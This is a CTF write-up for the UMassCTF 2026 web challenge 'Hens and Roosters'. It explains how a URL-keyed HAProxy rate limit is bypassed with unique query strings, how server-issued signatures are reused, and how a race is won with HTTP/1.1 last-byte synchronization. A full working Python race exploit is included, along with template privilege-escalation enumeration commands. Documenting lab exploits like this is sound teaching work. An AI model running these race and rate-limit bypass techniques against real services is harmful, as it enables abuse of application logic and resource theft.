← Back to Writeups
HTBN/AWeb

Hens and Roosters

XESXOR8/23/20266 min read
#web#htb#n/a

Hens and Roosters

Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: last_byte_synchronization, signature_reuse, socket_burst_race, url_keyed_rate_limit_bypass

Summary

Task: a Flask app gives a uid, signs 0|uid with UOV, and lets /work trade valid signatures for studs behind an HAProxy URL-based rate limit. Solution: reuse genuine signatures from the app, bypass the limiter with unique query strings, then win a race at studs=2 using HTTP/1.1 last-byte synchronization so many verified requests increment the same uid before the counter update is observed.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_hens_and_roosters
  • Tags: flask, race_condition, rate_limit_bypass, redis, haproxy, uov_signature, http1_1
  • Indicators: HAProxy tracks the exact full URL with track-sc0 url, the same signature is accepted for the current <studs>|<uid> payload, POST /work increments state after verification with r.incr(uid), the app only emits fresh signatures for studs 1 and 2, many concurrent requests need to observe studs=2 before writes land
  • Source: 20260411_umasscybersec_hens_and_roosters.md

Foothold

Vulnerability / Misconfiguration

  1. Last_byte_synchronization
  2. Signature_reuse
  3. Socket_burst_race
  4. Url_keyed_rate_limit_bypass
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • last_byte_synchronization
  • signature_reuse
  • socket_burst_race
  • url_keyed_rate_limit_bypass
  • Tags: flask, race_condition, rate_limit_bypass, redis, haproxy, uov_signature, http1_1

Original Writeup

<details><summary>Click to expand original content</summary>

Hens and Roosters — UMassCTF 2026

Description

Organizer description was not preserved in the local task notes.

We receive a web service that creates a temporary uid, gives one free signed token through /buy, and allows /work to exchange a valid signature for more studs. Reaching at least 7 studs makes /buy return the flag.

Analysis

The challenge mixed crypto flavor with a web race, but the intended break was not a public-key forgery against UOV.

Relevant behavior:

  • GET / creates uid with 0 studs.
  • GET /buy?uid=... at 0 studs returns a valid UOV signature for 0|uid.
  • POST /work verifies the provided signature against the current payload <studs>|<uid>.
  • If verification succeeds, the handler runs r.incr(uid).
  • For resulting studs 1 and 2, the server returns a fresh valid signature for the next payload.
  • For studs > 2, the request still increments the counter, but no longer gives new signatures.

The proxy was equally important:

stick-table type string len 2048 size 100k expire 20s store http_req_rate(20s)
http-request track-sc0 url
http-request deny deny_status 429 if { sc_http_req_rate(0) gt 1 }

Because the stick table keys on the exact full URL string, /work?a=1 and /work?a=2 are rate-limited independently. That makes unique query parameters enough to bypass the intended one-request limit.

Root Cause

The bug is a state-changing race in /work: verification is tied to the current <studs>|<uid> value, but the increment happens after that check and is not protected against many parallel requests validating the same state. Once we have a genuine signature for 2|uid, multiple workers can all verify against studs=2 and each call r.incr(uid).

The crypto layer only gates progress between states. It does not stop the race because the application itself provides valid signatures for 0|uid, 1|uid, and 2|uid.

Why Naive Parallelism Was Not Enough

A simple thread-pool burst usually reached only about 2-4 studs. In practice, unsynchronized clients do not hit the critical section tightly enough: some requests arrive after earlier increments have already changed the Redis value, so the reused 2|uid signature no longer matches the now-current payload such as 3|uid or 4|uid.

The shared service was also unstable, so the reliable approach was to launch a dedicated instance through the instancer with the CTFd team token and race that isolated target instead.

Solution

Exploitation flow

  1. Create a fresh uid with GET /?x=<unique>.
  2. Call GET /buy?uid=...&x=<unique> to obtain a valid signature for 0|uid.
  3. Use that signature once on POST /work?x=<unique> to get the server-generated signature for 1|uid.
  4. Use the 1|uid signature once to get the server-generated signature for 2|uid.
  5. Open many HTTP/1.1 sockets to /work?x=<unique> and prepare identical JSON bodies using the valid signature for 2|uid.
  6. Send every request almost completely, hold back the final byte, then release that last byte on all sockets at once.
  7. Multiple backend threads read studs=2, all verify successfully, and many r.incr(uid) operations land.
  8. Call /buy?uid=...&x=<unique> again; once studs are at least 7, the flag is returned.

Synchronized-socket trick

The key improvement was HTTP/1.1 last-byte synchronization. Instead of hoping that a normal parallel burst overlaps, each socket sends headers and nearly the entire body first. The final byte is withheld so the application cannot parse the JSON yet. Releasing that byte across many sockets makes the requests become valid at nearly the same instant, maximizing the chance that many workers evaluate the same pre-increment state.

#!/usr/bin/env python3
import json
import socket
import ssl
import threading
import time
import urllib.parse
import urllib.request
import uuid
import re

UID_RE = re.compile(r"uid is ([0-9a-f]{16})", re.I)
SIG_RE = re.compile(r"signature: ([0-9a-f]+)", re.I)


def nonce():
    return uuid.uuid4().hex


def http_get(url):
    with urllib.request.urlopen(url, timeout=20) as r:
        return r.read().decode()


def http_post(url, body):
    req = urllib.request.Request(
        url,
        data=json.dumps(body).encode(),
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=20) as r:
        return r.read().decode()


def get_uid(base):
    m = UID_RE.search(http_get(f"{base}/?r={nonce()}"))
    return m.group(1)


def get_buy(base, uid):
    return http_get(f"{base}/buy?uid={uid}&r={nonce()}")


def get_sig(text):
    m = SIG_RE.search(text)
    return m.group(1) if m else None


def advance_once(base, uid, sig):
    return http_post(f"{base}/work?r={nonce()}", {"uid": uid, "sig": sig})


def open_socket(host, port, use_tls=False):
    s = socket.create_connection((host, port))
    if use_tls:
        ctx = ssl.create_default_context()
        s = ctx.wrap_socket(s, server_hostname=host)
    return s


def build_request(host, path, body_bytes):
    req = (
        f"POST {path} HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        "Content-Type: application/json\r\n"
        f"Content-Length: {len(body_bytes)}\r\n"
        "Connection: close\r\n\r\n"
    ).encode()
    return req + body_bytes[:-1], body_bytes[-1:]


def race(base, uid, sig2, workers=32):
    parsed = urllib.parse.urlparse(base)
    host = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == "https" else 80)
    use_tls = parsed.scheme == "https"
    socks = []
    tails = []

    for i in range(workers):
        path = f"/work?r={nonce()}_{i}"
        body = json.dumps({"uid": uid, "sig": sig2}).encode()
        prefix, tail = build_request(host, path, body)
        s = open_socket(host, port, use_tls)
        s.sendall(prefix)
        socks.append(s)
        tails.append(tail)

    start = threading.Barrier(workers)

    def release(sock, tail):
        start.wait()
        sock.sendall(tail)

    threads = [threading.Thread(target=release, args=(s, t)) for s, t in zip(socks, tails)]
    for t in threads:
        t.start()
    for t in threads:
        t.join()

    for s in socks:
        try:
            s.recv(4096)
        finally:
            s.close()


def main():
    base = "http://127.0.0.1:8000"
    uid = get_uid(base)
    sig0 = get_sig(get_buy(base, uid))
    sig1 = get_sig(advance_once(base, uid, sig0))
    sig2 = get_sig(advance_once(base, uid, sig1))
    race(base, uid, sig2, workers=40)
    print(get_buy(base, uid))


if __name__ == "__main__":
    main()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR